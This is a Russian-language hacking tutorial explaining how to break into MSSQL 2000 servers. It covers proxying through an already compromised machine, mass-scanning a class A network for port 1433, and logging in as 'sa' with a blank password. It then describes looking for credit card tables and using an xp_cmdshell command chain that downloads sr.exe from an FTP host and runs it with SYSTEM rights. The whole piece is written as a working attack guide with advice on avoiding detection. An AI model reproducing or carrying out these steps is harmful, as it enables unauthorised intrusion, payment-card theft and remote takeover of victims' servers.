Безопасность

Простой способ проникнуть в SQL-сервер

В статье СОЗНАТЕЛЬНО пропущен один ВАЖНЫЙ момент, автор заранее предупреждает: ЕСЛИ ВЫ НЕ ЗНАКОМЫ С ПРОЦЕДУРОЙ АУТЕНТИФИКАЦИИ MSSQL сервера И НЕ ЗНАЕТЕ, КАКИЕ НУЖНО ПРИНЯТЬ МЕРЫ ДЛЯ ЕЕ МОДИФИКАЦИИ – В СЛУЧАЕ ПРИМЕНЕНИЯ ОПИСАННОЙ НИЖЕ МЕТОДИКИ, ВАС _ОБЯЗАТЕЛЬНО_ НАЙДУТ! ТЕМ БОЛЕЕ, ЕСЛИ ВЫ ПОЛЬЗУЕТЕСЬ ПОСТОЯННЫМ, ВЫСОКОСКОРОСТНЫМ СОЕДИНЕНИЕМ С ИНТЕРНЕТОМ…


Что требуется:

дистрибутив MSSQL-server 2000
Shadow Remote Administrator (SRA)
NEC e-Border client
ломаная машина NT4.0 или W2K
постоянное, не менее 64 kbps соединение с интернетом
один-два пальца на руках
пару-тройку суток времени
Алгоритм:

1. Устанавливаем MSSQL, нам потребуется только клиентская часть SQL Query Analyzer (QA).
2. Устанавливаем NEC e-Border дабы нас сходу не отловили и не пришли в гости.
3. На ломаную машину устанавливаем SRA, коннектимся к нему и запускаем на нем Socks-5 сервер на любом нестандартном порту (входит в SRA).
4. На своем e-Bordere прописываем IP адрес ломаной машины с запущенным соксом.
5. На ломаной машине запускаем FTP-сервер (входит в SRA), ОБЯЗАТЕЛЬНО на 21 порту.
6. Кладем в корень этого запущенного FTP серверную часть SRA (по умолчанию C:\).
7. Запускаем в SRA порт-сканнер, забиваем туда подсетку класса A (типа 4.0.0.1 – 4.255.255.255), порт нам нужен 1433.
8. Выключаем монитор и впадаем в трехдневный запой.

По прошествии трех дней, после посещения нарколога, и принятия холодного душа приступаем, собственно к ПРОЦЕССУ.

В настоящий момент, вы уже имеете массу машин, про которые известно, что на них запущен MSSQL-сервер, который слушает на стандартном порту 1433. Вам не известно, какие из этих серверов, были установлены администраторами-недоучками, типа Вас, читающих данную статью с интересом, и не позаботившиеся о том, чтобы сменить стандартный логин SA с ПУСТЫМ паролем, на что-нибудь более приличное.

Запускаем QA, в выскочившем окошке вводим:

– SQL Server: IP из списка насканенного с помощью SRA
– Галочку Start SQL if it is stopped НЕ СТАВИМ
– Connect Using: SQL Server authentication
– Login name: sa
– Password: пустое поле

Жмем «ОК»

В случае появления сообщений типа: Login filed for user “sa”, Not trusted SQL server connection etc, жмем «ОК» и пробуем следующий IP из списка.

Ну наконец, вместо надоевшего Login filed, получаем просто вдруг открывшееся, девственно белое, окошко с заголовком типа “Query 12.11.32.45.master.sa” – ВЫ ЗАШЛИ на SQL-сервер, поздравляю =)

Жмем F8, слева появляется список баз данных, находящихся на этом сервере. Сразу хочу предупредить: базы с именами Master, model, msdb, Northwind, pubs, tempdb являются служебными или поставляются с MSSQL как примеры – смысла их просматривать нет – только в качестве самообразования.

Если в списке баз вы видите чего-нибудь типа ONLINESHOP (=)) жмите на крестик слева от названия базы, в выпавшем списке – на крестик слева от User Tables. Перед вами список таблиц базы данных. При нажатии на крестик слева от названия таблицы, вы получите список названий полей в таблице.

По собственному опыту убивания времени, могу судить, что ПОДАВЛЯЮЩЕЕ большинство имен таблиц и полей НЕСЕТ большую смысловую нагрузку – если в базе есть номера карточек, то скорее всего так и будет написано CreditCardNumber – или в названии таблицы, или в названии поля таблицы.

Как просмотреть записи в таблицах.

1. В выпадающем списке сверху окна QA выбираем название нужной базы.
2. Портим девственную белизну окна запроса буквочками типа:

select top 100 * from users

этот запрос вернет верхние 100 строк из таблицы USERS

select count(*) from users

этот запрос покажет количество строк в таблице USERS

xp_cmdshell ‘cmd /c echo Admin>ftp1&cmd /c echo password>>ftp1&cmd /c echo binary>>ftp1&cmd /c echo get sr.exe>>ftp1&cmd /c echo quit>>ftp1&cmd /c ftp -s:ftp1 -d 12.12.12.12’

этот запрос скачает с FTP-сервера 12.12.12.12 с логином Admin и паролем password файл sr.exe

xp_cmdshell ‘cmd /c sr.exe’

а этот запрос, запустит sr.exe на удаленной машине с правами SQL-сервера – а это, как правило, или SYSTEM или DomainAdmins.

Если кто еще не догадался, xp_cmdshell ‘dir c:\’ покажет содержимое диска C:\

Кнопка «Наверх»